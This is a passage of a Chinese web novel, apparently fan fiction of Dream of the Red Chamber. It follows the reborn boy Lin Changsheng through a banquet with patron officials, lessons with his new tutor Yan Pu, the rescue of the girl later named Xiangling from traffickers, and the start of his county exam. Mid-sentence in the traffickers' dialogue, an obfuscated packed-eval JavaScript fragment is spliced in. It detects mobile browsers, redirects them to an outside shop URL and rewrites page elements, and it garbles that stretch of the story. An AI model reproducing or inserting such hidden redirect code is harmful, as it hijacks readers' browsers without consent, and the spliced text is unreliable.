周府位于城西,门第并不显赫,但庭院深深,花木扶疏,自有一股书香门第的清贵。 今日寿宴,来的多是文人士子、清流官员,并无多少勋贵子弟,气氛颇为清雅。 长生递上名帖贺礼,门房早得了吩咐,恭恭敬敬将他引至花厅。 周文渊正在厅中与几位老者叙话,见长生进来,含笑招手:“长生来了,过来见过几位世伯。” 长生上前,依礼拜见。 那几位老者皆是当世名儒,或致仕,或在朝,见长生年纪虽小,但行礼如仪,不卑不亢,眼中皆有赞许之色。 一位须发皆白的老者捋须笑问:“这便是如海公的公子?果然仪表不凡。听闻你年方五岁,已能通读经史?” 长生躬身道:“世伯谬赞。小子资质愚钝,不过识得几个字,略通文义,不敢当‘通读’二字。” 另一人笑道:“不必过谦。周兄前日拿了你那篇《盐政利弊刍议》与我看,立论清晰,数据详实,对漕运、盐引、胥吏之弊,洞若观火。这般见识,便是许多朝堂官员也未必有。后生可畏啊!” 长生心中一动,那篇文章是他根据前世记忆与今生所见所闻,揣摩父亲林如海平日文书风格所写,本是为投周文渊所好,不料他竟拿出来与同僚品评。 他忙道:“小子信口胡诌,班门弄斧,让诸位世伯见笑了。” 周文渊笑道:“不必过谦。文章好坏,自有公论。今日请你来,是为家母寿辰,也是让你见见诸位前辈,听听教诲,于你进益大有裨益。” 又对众人道,“这孩子天资聪颖,心性纯良,可惜年幼失恃,又远离父亲,在京中无依。诸位都是他的父执辈,日后还望多加照拂。” 众人皆道:“理当如此。” 正说着,外头又报有客到。 周文渊起身迎了出去,片刻,引着一位身着绯袍、面容清矍、不怒自威的中年官员进来。 众人一见,纷纷起身见礼:“沈大人。” 长生心中一震,这位便是都察院左副都御史沈砚了。 只见他约莫四十余岁年纪,剑眉星目,神情冷峻,虽嘴角含笑,但眼中自有股凛然之气,令人不敢逼视。 周文渊笑道:“沈兄来得正好。来,见过林世侄。”引长生至沈砚面前,“这便是如海公的公子,长生。长生,这位是都察院左副都御史沈砚沈世伯,与你父亲是故交。” 长生整衣下拜:“小子林长生,拜见沈世伯。” 沈砚目光落在长生身上,停留片刻,方伸手虚扶:“起来罢。”声音低沉,听不出喜怒,“你父亲近日可有家书?” 长生起身,垂手答道:“回世伯,前日刚收到父亲家书。父亲在任上一切安好,唯牵挂小子与家姐。父亲信中提及世伯,说世伯刚正不阿,是他平生最敬重之人,嘱小子若有机会,定要代他向世伯问安。” 沈砚神色微缓,点了点头:“你父亲是能臣,亦是直臣。你在京中,要好生读书,莫负了他的期望。” “是,长生谨记世伯教诲。” 沈砚不再多言,自去与旁人寒暄。长生退到一旁,心中却如明镜一般。 沈砚方才那一眼,看似平淡,实则已将他从头到脚打量了个遍。那包“毒物”想必他已看过,今日周文渊特意引见,沈砚肯来,本身便是一种态度。 寿宴开席,长生年纪最小,座位被安排在末席。 他安之若素,举止得体,该敬酒时敬酒,该静听时静听,并无半分孩童的跳脱失礼。 席间众人谈诗论文,议论时政,长生并不多言,但偶尔被问及,也能答得切中要害,引经据典 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长生起身,躬身一礼,方道:“回沈世伯,父亲公务,小子不敢妄议。然小子随父亲在扬州时,曾见盐场灶户,烈日煎盐,手足皴裂,所得不过糊口;又见盐商巨贾,高轩驷马,一掷千金。盐价腾贵,百姓嗟叹;私盐横行,官盐滞销。父亲常言,此非一隅之弊,乃天下通病。治标易,治本难。需清源正本,束吏治,均利益,通漕运,方是长治久安之策。” 见众人凝神倾听,他继续道:“小子愚见,盐政之弊,首在吏治。胥吏贪墨,克剥灶户,盘剥商民,上下其手,致使盐本日重,盐价日昂。次在利益不均。盐引之制,本为平抑盐价,然豪门权贵,把持盐引,转手牟利,盐法遂坏。三在漕运不畅。漕粮北上,空船南返,若载盐而回,则可省运费,平盐价。然沿途关卡重重,胥吏勒索,商民畏途,遂成空谈。” 一番话,条理清晰,切中肯綮。 席间诸人面面相觑,皆露惊异之色,这般见识,莫说一个五岁孩童,便是许多为官多年的也未必能说得如此透彻。 沈砚盯着长生,:“依你之见,当如何清源正本?” 长生不避不让,迎上他的目光,清晰道:“清吏治,需重典严刑,使胥吏不敢贪。均利益,需改革盐引,抑豪强,惠小民;通漕运,需简化关卡,严惩勒索,使商民乐从。三者并行,或可渐见成效。然,” 他话锋一转,“此非一日之功,更非一人之力。需朝野同心,上下协力,方有可为。家父在扬州,便是夙兴夜寐,亦感步履维艰。非不为也,实不能也。” 最后一句,道尽了林如海在盐政任上的艰难与无奈,也点明了改革的阻力所在。 席间一片寂静。周文渊抚须颔首,眼中满是赞赏。沈砚深深看了长生一眼,缓缓点头:“好一个‘非不为也,实不能也’。你能看到这一层,已是不易。”他举杯,“如海有子如此,可慰平生。” 众人纷纷举杯附和。 长生躬身谢过,方坐下,背后已出了一层薄汗,他方才那番话已表明了立场。 寿宴散后,周文渊独留长生至书房。 屏退左右,他神色严肃道:“长生,你今日表现,远超我所期。沈大人向来严苛,能得他一句赞,极为难得。然,” 他话锋一转,“木秀于林,风必摧之。你今日锋芒太露,恐已引人注目。贾府那边,近日虽因元春娘娘染恙,无暇他顾,但绝非易与之辈。你需谨记,藏拙守愚,方是保身之道。” 长生肃然道:“世伯教诲,长生谨记。今日是长生孟浪了。” “非也。”周文渊摇头,“该显时则显,该藏时则藏,分寸拿捏,存乎一心。你年纪虽小,心思缜密,更难得是胸怀丘壑,心志坚毅。只是如今你羽翼未丰,更需小心,国子监附读之事,我已安排妥当。下月初一,你便来监中报到。届时,我会为你引见几位博士,皆是当世大儒,于你学业大有裨益。” 长生大喜,躬身下拜:“长生谢世伯提携之恩!” “起来罢。”周文渊扶起他,压低声音,“还有一事,沈大人对你颇为赏识,他让我转告你,那包‘东西’,他已知晓。在京中,只要有他在,无人敢明目张胆动你们姐弟。但你们自己需万分小心。另外,沈大人荐了一位西席,姓严,名朴,是位隐世高人,学问渊博,性情刚直。明日便会过府。有他教导你,我也放心。” 长生心中一喜,严朴!果然是那位仁心堂的神医!沈砚此举不仅是送一位名师,更是将一位杏林圣手送到姐姐身边!这份人情,实在太重了。 他再次深深一揖:“世伯与沈世伯维护之恩,长生没齿难忘!” 从周府出来,已是日暮西山。 长生坐在回府的马车中,闭目养神。 今日一行,收获远超预期,不仅正式踏入了清流圈子,得了周文渊的倾力扶持,更获得了沈砚的认可与庇护。两位朝中重臣的照拂,加上即将入国子监附读的身份,姐姐的安全与自己的前程,总算有了初步的保障。 林长生心中不仅无多少喜悦,还反添沉重。 今日席间,那些意味深长的目光,无不提醒他,他已置身漩涡中心。 贾府不会善罢甘休。 马车驶过荣宁街,遥见荣国府门前车马喧阗,灯火辉煌。 7. 前世今生见香菱 自那日周府寿宴归来,次日辰时不到,林府门房来报,有客递帖,上写“山野散人严朴拜会林公子”。 长生知是沈砚荐的西席到了,忙整衣出迎。 只见一青衣老者立于阶下,须发皆白,面容清癯,正是前日为黛玉诊病的那位仁心堂严先生。 今日他未着道袍,只一袭半旧蓝衫,洗得发白,却干干净净,手中提着一个青布包袱,神色淡然,目光澄澈,立在晨光中,自有一股出尘之气。 长生忙上前,深深一揖:“学生林长生,拜见严先生。前日蒙先生救命之恩,今日又蒙先生屈尊教诲,感激不尽。” 严朴打量他片刻,颔首道:“不必多礼。老朽受沈大人所托,前来授课,非为报恩,亦非为谋生。只看你根骨如何,可堪造就。” 说罢径自入内,目光一扫庭院,道:“此地甚好,清静。你平日读书,在何处?” 长生引他到书房,严朴见书房不大,陈设简朴,临窗一张紫檀大案,上置文房四宝,并几叠书稿。 墙上悬一幅山水,是倪云林的笔意,疏淡萧索,案头供着一个青瓷瓶,插着几枝疏梅,香气清冷。 他微微点头:“倒不俗,你既拜我为师,有几句话需说在前面。” 长生垂手肃立:“请先生教诲。” 严朴于案后坐下,缓缓道:“我授课,不拘泥四书五经,诸子百家,医卜星相,农桑水利,皆在讲授之列。你若只想求取功名,作那寻章摘句的腐儒,今日便可作罢。” “求学之道,贵在明理。理明则心正,心正则行端。你若只想学些机巧权谋,汲汲于功名利禄,亦非我门下弟子。” 他看了一眼长生,“过往种种,我不问,你也不必说,然读书明理,亦是为解心结。若放不下,看不破,纵是学富五车,亦不过是又一个‘聪明误’。” 长生撩袍下跪,行三拜大礼:“学生林长生,愿拜先生为师。愿遵先生教诲,明理正心,绝不敢有违。” 严朴受了礼,神色稍霁,自包袱中取出一卷书,递与长生:“这是我手抄的《大学章句》,与你平日所读不同。朱子注疏,固然精到,然其理过严,其法过苛。我这里另有一番解说,你且先看,三日后讲与我听。” 长生双手接过,只觉那书卷入手微沉,翻开一看,字迹清峻峭拔,行间有朱笔批注,密密麻麻,皆是发前人所未发之论。 他知这是严先生毕生心血,珍而重之,小心收好。 自此,严朴便在林府住下,每日授课两个时辰。 他授课不拘一格,有时讲《论语》,从“己所不欲,勿施于人”,引申到时下官场倾轧、世态炎凉。 有时论《史记》,从“天下熙熙,皆为利来”,说到盐漕之弊、民生疾苦;有时甚至抛开书本,与长生对弈一局,于棋局中讲解兵法谋略、人情世故。 更奇的是,他竟常以医道喻治国,说道:“治国如治病,当先辨其虚实寒热。如今朝政,看似气血两虚,实则毒火内蕴,一味温补,反促其亡。” 长生如饥似渴,昼夜攻读,本就两世为人,心智远超同龄,如今得名师指点,更是一日千里。 严朴见他颖悟非凡,举一反三,心中亦喜,倾囊相授,对他要求极严,一篇策论,常要修改数遍,直到字字珠玑,方肯罢休。 长生亦毫无怨言,常常读书至深夜,案头灯花,彻夜不熄。 黛玉的身子,在严朴和太医夫人精心调理下,日渐好转,脸上渐有了血色,已能下床走动,偶尔到书房看长生读书。 见弟弟如此用功,她心中欣慰又酸楚,于是常亲自下厨,炖了补汤送来。 严朴见她来,也不多言,只微微颔首,算是见礼。 黛玉亦知这位先生是位奇人,心中敬重,从不敢以寻常西席视之,平常也在一旁听着。 如此过了月余,已是腊月。 这日,严朴授课毕,并未如常离去,而是沉吟片刻,问道:“长生,你今年虚岁几何?” 长生答道:“回先生,学生虚岁已六岁。” “六岁……”严朴捻须,“按制,童生试第一场县试,多在二月。你虽年幼,然学业已有根基,可愿下场一试?” 长生一怔。 县试是科举之始,虽只是童生试第一关,然意义重大,考中了便是童生,有了功名在身,身份便大不相同。 他前世早夭,今生重生,所求不过是护姐姐周全,未曾想过如此早便下场。然转念一想,若得童生功名,于己是进身之阶,于姐姐亦是倚仗。 他肃然道:“学生愿往一试,只是年纪尚幼,恐学识浅薄,有负先生教诲。” 严朴摆手:“学问深浅,不在年岁,你文章策论我已看过,破题、承题、起讲、入手,已得法度。所欠者,火候耳。下场历练一番,方知深浅。” 他从袖中取出一纸文书,“这是你的保结文书,需有本县廪生作保,证明你身家清白,无冒籍、匿丧、顶替之弊,我已请托一位故交,为你作保。此外,还需填写姓名、籍贯、年岁、三代履历。” 长生接过,见是一份空白保结,上钤有县学教谕的官印。他知这是严先生动用故交关系为他谋得,心中感激,再拜道:“谢先生成全。” 严朴道:“不必谢我,你若能中,是你自己的本事,若不能,回来再用功便是。只是有一样,科举之道固然是正途,然切记莫要失了本心,功名是器,心性是道,莫要为器失道。” 长生受教。 次日,长生便开始准备应试所需。姓名、籍贯、年岁皆好填,唯三代履历需谨慎。 他提笔写下: 童生林长生,年六岁,系扬州府江都县民籍贯。 曾祖林海,字沧溟,曾任山东兖州府知府,诰授中宪大夫。 祖林远,字静庵,国子监生,未仕。 父林如海,字文卿,甲戌科进士,钦点探花及第,现任两淮巡盐御史。 母贾氏,荣国公贾代善之女,诰赠恭人。 身家清白,并无违碍。遵例报考,伏乞准考。” 写罢,吹干墨迹,心中百感交集。 与此同时,千里之外的扬州巡盐御史衙门,林如海正对着一封家书,久久不语。 信是长生写来的,厚厚一叠,前半部分详述了姐弟二人抵京后的种种以及京城眼线寄来的情报。 家信无非是“一切安好,望父安心”等字样,且不说眼线寄来的情报如何让林如海对贾府寒心,还更对姐弟二人隐忍早慧痛心,这两个孩子在扬州可是他和贾敏的宝贝疙瘩,怎么回了一趟京城却成了他们的谈资? 长生家书中这字里行间言辞寥寥却条理清晰,然字里行间透出的惊心动魄,让林如海这宦海沉浮多年之人,亦觉脊背生寒。 尤其是读到那“姐姐疑似中毒”一节,他霍然起身,在书房中疾走数步,方强行压下心头滔天怒浪。 他如何不知!明眼人都知道姐弟二人前脚离开,后脚中毒如此光明正大,不是有人存心还能是什么! 后半部分,则是长生的建议,他写道: “父亲身在盐政要津,如履薄冰。京中诸事儿与姐姐自会应对,父亲万勿以家事为念,当以国事为重。” “唯有一事,儿斗胆进言:往年岁末,父亲循例送往京中各府之‘冰敬’、‘炭敬’,其中送往荣国府者,可否暂缓,或改换名目,不经贾府之手,直送相关衙门?儿非疑外祖家,实因姐姐之事,已生嫌隙。贾府树大根深,枝节蔓延,若其中有人心怀怨怼,借此生事,恐累及父亲清誉……” 信末,又附了一页小字,是长生模糊写出的: 盐引,亏空,户部,弹劾,王子腾。 林如海盯着那寥寥数语,瞳孔骤缩。 他是何等人物,宦海沉浮二十余载,对官场险恶、人心诡谲,洞若观火。 长生信中所言看似孩童忧心,实则句句切中要害。 那“疑似中毒”之事,已让他对岳家彻底寒心,而信末那几句没头没尾的话,更让他惊出一身冷汗。 “盐引亏空”、“户部弹劾”、“王子腾”。 这几个词串联起来,指向一个他早已察觉、却始终不愿深想的可怕可能。 他缓缓坐回椅中,闭目沉思。 良久,唤来心腹长随林忠,沉声吩咐:“今年送往京中的节敬,重新拟单。荣国府那份,减三成,以‘老太太年高,不好奢靡’为由。余下七成,不走贾府门路,你亲自带人,分送户部李侍郎、都察院沈御史、通政司刘大人府上。记住,要隐秘,单子上只写‘扬州故旧年敬’,不提盐务。另,往年与贾府、王府有往来的盐引账目,全部重新核查,凡有模糊不清、不合规制之处,一律更正,造册备查。此事机密,不得让第三人知晓。” 林忠躬身应下:“老爷,可是京中……” 林如海摆摆手,疲惫道:“不必多问,照办便是。记住,手脚干净些,莫留把柄。” “是。” 林忠退下后,林如海重新展开长生家书,目光落在最后那几句童言稚语上,心中翻涌着惊涛骇浪。 这孩子究竟知道了多少? 他信中所提之事,桩桩件件,皆是要害,那中毒事件若非长生机警,黛玉只怕已……思及此处,他心如刀绞,对岳家最后一点情分也烟消云散。 而信末那几句断句更让他寝食难安。 他隐隐觉得贾府太过分,让一个孩子小小年纪竟然悟出那么多。更何况盐政亏空是重中重,贾府、王府,乃至宫中,这水太深了,谁都承担不起。 “吾儿……” 林如海摩挲着信纸,眼中泛起泪光,“为父定不会让你姐弟,再受半分委屈。” 年关将近,京城飘起了细雪。 林府内却无多少年节气氛,长生正闭门苦读,准备来年二月的县试。 严朴为他拟了数十道考题,涉及经义、策论、判语,每日讲解批改,要求极严。 长生天未亮即起,夜深方歇,案头烛泪堆积如山。 黛玉心疼弟弟,常熬夜陪他,或做针线,或温书,姐弟二人,一盏孤灯,常至三更。 这日,严朴讲解《孟子》“天将降大任于斯人也”一章,忽然问道:“长生,你读书科举,所求为何?” 长生默然片刻,答道:“回先生,学生所求只为明理立身,守护家人。” 有意思,常人回答都是慷慨激昂说些什么提携玉龙为君死,又或者什么为天地立心,为生民起命。 严朴深深看他一眼:“护人需力,立身需位,明理需智。然力位智皆可求而得之,唯‘心’不可失。你心志坚毅,然执念亦深,易入偏锋。你需谨记,无论何时,心要正,路要直。歪门邪道,或可逞一时之快,然终非长久之计。” 长生肃然:“学生谨记先生教诲。” 严朴颔首,不再多言,继续授课。 转眼已是正月十五,京城处处张灯结彩,火树银花。林府也挂了几盏红灯,应个景儿。 黛玉身子大好,这日晚间,命人在后园亭中设了小火炉,温了壶金华酒,备了几样精致小菜,与长生赏雪。 雪已停了,园中积雪皑皑,红梅映雪,清冷幽寂。 姐弟二人对坐,黛玉替长生斟了杯暖酒,轻声道:“再过半月,你便要下场了。可紧张?” 长生接过,摇头:“不紧张,姐姐放心,长生必不让你失望。” 黛玉看着弟弟愈发沉稳的模样,又是骄傲酸楚,弟弟不过六岁,便要独自面对这茫茫前程。 她举起酒杯,柔声道:“姐姐以茶代酒,祝我弟蟾宫折桂,前程似锦。” 长生举杯,与姐姐轻轻一碰:“长生亦祝姐姐,身体康健,平安喜乐。” 二人相视一笑,饮尽杯中物。 暖酒入喉,驱散了冬夜寒意。 正说着闲话,忽听墙外隐约传来女子哭泣之声。 那哭声幽幽咽咽,时断时续,在这喜庆的元宵雪夜中,显得格外凄清刺耳。 长生眉头一蹙,放下酒杯。 黛玉亦侧耳倾听,面露不忍:“这深更半夜是谁在哭?听着是个姑娘家,怪可怜的。” 长生起身:“姐姐稍坐,我去看看。” 黛玉忙道:“让林安去便是,外头冷。” 长生摇头:“无妨,我去去就回。”说着,披了件斗篷,唤了林安,主仆二人悄声出了后角门。 角门外是一条僻静小巷,此时积雪未扫,杳无人迹,那哭声是从巷子深处一座破败小院里传出的。 长生示意林安噤声,两人悄悄靠近,隐在墙根阴影里。 只见院门虚掩,透过门缝,隐约可见院里站着两个男子,一个粗壮如牛,满脸横肉,另一个尖嘴猴腮,眼神闪烁。 两人中间是一个十一二岁的少女,衣衫单薄,在雪地里瑟瑟发抖,正挣扎着想向外跑。 “哭!还哭!”那粗壮男子抬手就是一个耳光,打得少女一个踉跄,翻在雪地里,“养了你这么些年,如今到了好年岁,正该替家里分忧,倒要跑?” 那少女捂着脸,只低低啜泣,不敢言语。 尖嘴男子蹲下身,捏着少女的下巴,嘿嘿笑道:“丫头,爹养你这些年不容易,明日带你去个好人家,往后吃香的喝辣的,比在这强百倍。你若再哭,惹恼了爹,明日卖你到那见不得人的地方去!” 少女浑身一颤,眼泪扑簌簌往下掉,却不敢再挣扎,只低声道:“爹…女儿听话,女儿不哭了。” “这才像话。”粗壮男子哼了一声,“明日见了冯家大爷,乖巧些,听说那冯渊是个痴情种子就喜欢你这样娇怯怯的,若被他看上,赎了你去,也算你的造化。” 尖嘴男子附和道:“正是,那冯大爷说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886368|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要人合心意,银子不是问题。咱们养了她这些年,也该回本了。” 长生在暗处看着,心头猛地一跳。 冯渊!这名字他记得!前世曾听鬼差议论过一桩命案,说是金陵有个小乡绅之子冯渊,长到十八九岁上,酷爱男风,最厌女子。 这也是前生冤孽,本是个不爱女色的断袖,可巧遇见这拐子卖丫头,他便一眼看上了这丫头,立誓再不交结男子男色,谁知那拐子贪心,一女两卖,又卖与了薛家。 薛蟠仗势强夺,打死了冯渊,将那丫头强抢了去。 被薛蟠强买为妾后,由薛宝钗改名香菱。 再后来,那丫头又不知怎的改名为秋菱。 他凝神细看雪光下那少女的眉眼。 是了,这般怯生生的模样,哀愁的神色,再加上额间一点红痣,这与他前世在薛姨妈屋里见过的香菱,何其相似!只是眼前这个更稚嫩些,更惶恐些。 可他记得,香菱应该是被拐子卖给了冯渊后,薛蟠出场打死对方,而如今怎会在这元宵雪夜,出现在这破败小院? 莫非这正是她被拐后,尚未卖出时的光景? 长生脑中思绪飞转,前世他魂魄飘荡,对许多事只知大概,细节早已模糊。 他只知香菱命运凄惨,最后被薛蟠正妻夏金桂折磨致死,可具体何时被拐,何时被卖,却记不真切。 如今倒是赶巧。 只听那尖嘴男子又道:“大哥,听说薛家那位大爷也到了京城,最爱这等年纪的小丫头,若是冯家出价不高,不如……” “你疯了!”粗壮男子低喝,“薛家那是我们能惹的?那种豪门大户,沾上了甩都甩不掉!就按原计划,明日见了冯渊,一手交钱,一手交人,完事咱们立刻离京,免得夜长梦多。” 长生心中雪亮,这些果然是拐子。 这少女,十有八九就是日后的香菱,只是此刻,她尚未被卖到薛家,命运还有转圜余地。 他强压怒火,对林安低声道:“去顺天府报案,就说此地有拐子拐卖人口。快!” 林安应声,悄然而去。 长生仍隐在暗处,屏息倾听,院内传来鞭打声与少女压抑的痛呼,他拳头紧握,指甲掐进掌心。 不多时,远处传来急促脚步声与呵斥声,是顺天府的衙役到了。院内顿时一阵大乱,喝骂声、奔跑声、撞门声响成一片。 长生不再停留,转身悄然退回府中。 回到亭内,黛玉忙问:“如何?” 长生简略说了,隐去了自己对少女眼熟的疑窦,只道是路见不平。 黛玉听得花容失色,颤声道:“这…这天子脚下,竟有如此丧尽天良之事!那姑娘……可救下了?” “顺天府的人已到,应当无碍。”长生安慰道,心中却盘算着下一步。 次日一早,长生便去了顺天府衙门。 他如今虽年幼,但毕竟是巡盐御史之子,又有周文渊、沈砚的关系,衙门里的人对他颇为客气。 接待他的是一位姓王的推官,听闻来意,笑道: “林小爷说的可是昨晚那起拐子案?巧了,今早刚审完,那俩拐子供认他们专在江南一带拐骗幼女,养到十一二岁后再带到京城转卖。昨晚那小丫头,是他们2十有八九前从苏州拐来的,来时才三四岁,如今已十二了,问她姓甚名谁,父母何人,一概不知。平日拐子只叫她丫头,连个正经名字都没有。” 长生心中了然,沉吟道:“既无户籍,又说不清来历,不知官府打算如何安置?” 王推官叹道:“按律,这等无主人口,或送养济院,或发卖为奴。只是她年纪尚小,又是女儿家,养济院那种地方……唉。” 他看了长生一眼,忽道,“林小爷府上,可缺使唤人手?这丫头虽来历不明,但看着还算本分。若是小爷府上愿意收留,给她个安身之处,倒是一桩善事。衙门这边,也好做个顺水人情。” 长生心中一动,府中确实缺人手,尤其是与姐姐同龄的玩伴。 黛玉自进京后,除了紫鹃、雪雁,再无其他说话的人,常常独自对窗垂泪。 若能将这少女带回府中,一来救她出苦海,二来也能给姐姐添个伴儿。 “多谢王大人指点,”长生拱手道,“既是如此,学生愿将她带回府中。只是还需办理什么手续?” “简单。”王推官笑道,“小爷写个领状,签字画押。衙门这边出具一份文书,证明此女由贵府收留,日后若有亲眷来寻,也好有个凭证。” 手续很快办妥。 长生带着那少女回到林府,黛玉正在廊下喂雀儿。 林黛玉见弟弟带回一个衣衫单薄、神色怯怯的少女,不由一怔。 “姐姐,”长生上前道,“这是顺天府救下的姑娘,被拐子拐来,无家可归,也无户籍。衙门那边不好安置,我便将她带了回来。” 少女怯生生抬头,露出一张尚带泪痕的脸。 她约莫十一二岁年纪,眉眼清秀,只是长期担惊受怕,显得格外瘦小可怜,见黛玉气质不凡,忙跪下磕头:“给……给小姐请安。” 黛玉忙扶她起来,见她双手冰凉,衣衫破旧,心中顿时涌起无限怜惜。她柔声道:“快别多礼,你叫什么名字?家在哪里?” 少女茫然摇头,眼中含泪:“我…我不记得了,只模糊记得,小时候家门口有棵很大的桂花树,秋天开花时,香得满街都是,他们只叫我丫头。” 黛玉心中一酸,握紧她的手,轻声道:“既如此,以后你就留在府里吧。总要有个名字才是……” 她沉吟片刻,灵光一闪,见这少女眉宇间有股清灵之气,脱口道,“你既记得桂花香,不如就叫香菱吧。桂花香远,菱角清甜,以后过个安稳香甜的日子。” 少女,如今该称香菱了,她怔怔看着黛玉温柔的脸庞,眼泪忽然如断了线的珠子般滚落。 她再次跪下,重重磕了三个头:“谢小姐赐名,香菱…香菱一定好好伺候小姐,报答小姐的恩情!” 黛玉忙又扶她起来,眼中亦有泪光:“快起来,以后不必自称奴婢,你既入了林家,便是林家的人了。我小你几岁,我便叫你姐姐吧。” 香菱不可置信地抬头,嘴唇颤抖,却说不出话来。 紧接着香菱连忙摇摇头拒绝:“我怎敢称姐姐二字占了你便宜,不如我叫你林姑娘罢。” 林姑娘二字,他人称呼倒觉得生分疏离,不知怎的二人明明初次见面却颇合眼缘,一见如故,就刚刚香菱称呼林姑娘时,林黛玉反觉得亲切异常。 长生在一旁看着不语,心中百感交集,忽然觉得自己这重生一世或许真的能改变些什么。 “姐姐,”长生微笑道,“香菱初来,不如带她去换身暖和衣裳,吃点热食。我书房里还有功课,先去了。” 黛玉点头:“你去吧。香菱,跟我来。” 8. 且教长生试锋芒 却说那香菱入了林府,黛玉见她身世凄苦,举止怯弱,心中顿生无限怜惜。 她亲自为香菱挑了几身合体的衣裳,又命紫鹃收拾出一间洁净厢房,一应铺盖用具皆与府中一等丫鬟同等。 香菱自小被拐子使唤打骂,何曾受过这般温和对待?初时只惶恐不安,处处小心,唯恐做错半点。 黛玉却从不苛责,只柔声细语教她认字读书,偶尔与她闲话家常。 香菱虽记不得自己本名父母,却在黛玉这般温存照料下,渐渐去了些畏缩,眉宇间那股天生的灵秀之气,也慢慢透了出来。 长生见姐姐身边多了个伴儿,这香菱虽性子怯弱,却并非愚钝之人,教她认字读书,一点即通,心中也觉宽慰,只是他眼下全副心神,都放在了即将到来的县试上。 县试乃是科举第一关,虽只考一日,却分四场:第一场试四书文一篇、五言八韵试帖诗一首,第二场试经文一篇,第三场试律赋一篇;第四场试时务策一道。 长生虽天资聪颖,又有严朴悉心教导,然毕竟年仅六岁,要过这童生试第一关,绝非易事。 严朴为他拟定了详细的备考之策。 每日卯时起身,先温习四书朱注一个时辰,辰时至巳时习作八股,巳时至午时研读五经,午后习诗赋策论,晚间则复习日间所学,并请严朴讲解批改。 这般苦读,直从腊月持续到正月末。 这日已是正月二十八,离二月初八开考,不过十日。严朴将长生唤至书房,神色郑重道:“长生,县试在即,为师有几句话,你须记牢。” 长生肃立:“请先生教诲。” 严朴缓缓道:“考场上最忌心浮气躁。你年纪小,旁人见你入场必多议论。你只当未闻静心答卷便是。” 长生颔首。 “再者,八股文章,贵在理正气清。莫要追求奇险怪僻,只要破题精当,承转自然,议论透彻,便是好文章。你文章已得法度,只需稳中求进。” 长生颇有认同,再颔首。 严朴顿了顿,“科举虽是正途,然切记,功名乃身外之物。你此次下场,重在历练,莫要过于在意得失。中与不中,皆是缘法,回来再用功便是。” 长生躬身:“学生谨记。” 严朴又道:“你父亲前日有家书至,言扬州盐务一切安好。他知你将赴县试,甚是欣慰,嘱你好生应试,不必挂念家中。”说着,自袖中取出一封信,“这是你父亲亲笔,你看看罢。” 长生接过,拆开一看,信中父亲先问了姐弟二人安好,又道:“闻吾儿将赴童试,父心甚慰。吾儿年幼志高,然科举之路,漫漫修远。此去但求尽心,得失勿挂怀。京中诸事严先生自会照应,儿安心应试即可。” 信末又附了一句:“近日京城恐有风雨,汝与玉儿,宜深居简出,静待天时。” 长生心中一动,父亲这最后一句,分明另有所指。 他想起前日听林福说起,荣国府近日车马往来频繁,似是有什么贵客将至。 莫非……与那“风雨”有关? 他按下心中疑惑,只将父亲嘱咐牢牢记下。 转眼到了二月初七。 这日下午,严朴将长生唤至跟前,递过一个青布包袱:“这是明日应试所需,笔墨纸砚、考篮、坐褥,并几块干粮。你且检查一番,莫有遗漏。” 长生一一检视,笔墨皆是上品,纸是特制的“试卷纸”,考篮里还备了清水、手巾,一应俱全。 他心中感念,再拜道:“谢先生周全。” 严朴扶起他,又自怀中取出一方小小锦囊:“这里面是三枚‘定心丸’,乃是为师用茯苓、远志、龙眼肉等药材秘制,有宁神静气之效。明日若觉心慌,含一枚在舌下,可助你凝神。” 长生双手接过,郑重收好。 当夜,长生早早歇下,黛玉却放心不下,亲自来看了几回,见他睡得安稳,方回房安寝。 紫鹃、雪雁并新来的香菱,皆在廊下守候,小声说着话,香菱虽入府不久,却已对这位温婉仁厚的林姑娘,生出了由衷的敬爱。 她轻声道:“林姑娘待小爷真好。” 紫鹃笑道:“姑娘待谁都好。只是小爷这次下场,姑娘心里比谁都紧张。小爷年纪太小了。” 香菱点头,眼中也露出关切之色。 次日寅时三刻,长生便起身了。 黛玉早已命人备好了早膳,皆是清淡易克化之物,长生用了半碗粥,两块点心,便不再多食。 黛玉又亲自为他整理了衣冠,系好斗篷,柔声道:“莫紧张,正常发挥便是,姐姐在家等你。” 长生点头:“姐姐放心。” 天还未亮,林安已备好马车在门外等候。 长生登上车,林福、林安皆随行,马车缓缓驶出巷口,向县学方向而去。 县试考场设在顺天府学宫。 长生到时,天色微明,考场外已聚集了许多应试的童生,大多是十几岁、二十几岁的少年青年,偶有三四十岁的,也属寻常。 像长生这般幼小的,却是一个也无,他一出现,顿时引得众人侧目,议论纷纷。 “这……这是谁家孩子?走错地方了罢?” “看着不过五六岁模样,也来应试?” “莫不是来瞧热闹的?” 长生充耳不闻,只静静排队等候。 不多时,考场门开,考生依次入场,轮到长生时,那查验的吏员也是一怔:“小公子,你……你这是?” 长生递上考牌、保结文书,朗声道:“学生林长生,江都县民籍,虚岁六岁,应顺天府大兴县县试。” 吏员接过文书,仔细查验,保结上确有廪生画押,三代履历清晰,并无违碍。他抬头看看长生,又看看文书,迟疑道:“这年纪也太小了……” 一旁的主考官大兴县知县李大人,闻声走了过来。 他接过文书看了看,又打量长生一番,问道:“你便是林如海林大人的公子?” 长生躬身:“正是。” 李知县捻须沉吟,他与林如海虽无深交,却知林如海是当朝能臣,且近日风闻林如海在扬州盐政上颇有作为,避过了不少明枪暗箭。 如今见其子年幼应试,心中已有了几分好感,便道:“既是林大人公子,想必家学渊源。既合考规,便准入场罢。” 长生谢过,提了考篮,按号寻到自己的考位。 那是一个小小的隔间,仅容一人一桌一椅,长生将笔墨纸砚摆好,坐褥铺在椅上,静静等候。 辰时正,考试开始。第一场四书题是:“子曰:君子喻于义,小人喻于利。” 这是《论语》中常见之题,却极考功力,长生略一沉吟,提笔破题:“义利之辨,君子小人之所由分也……” 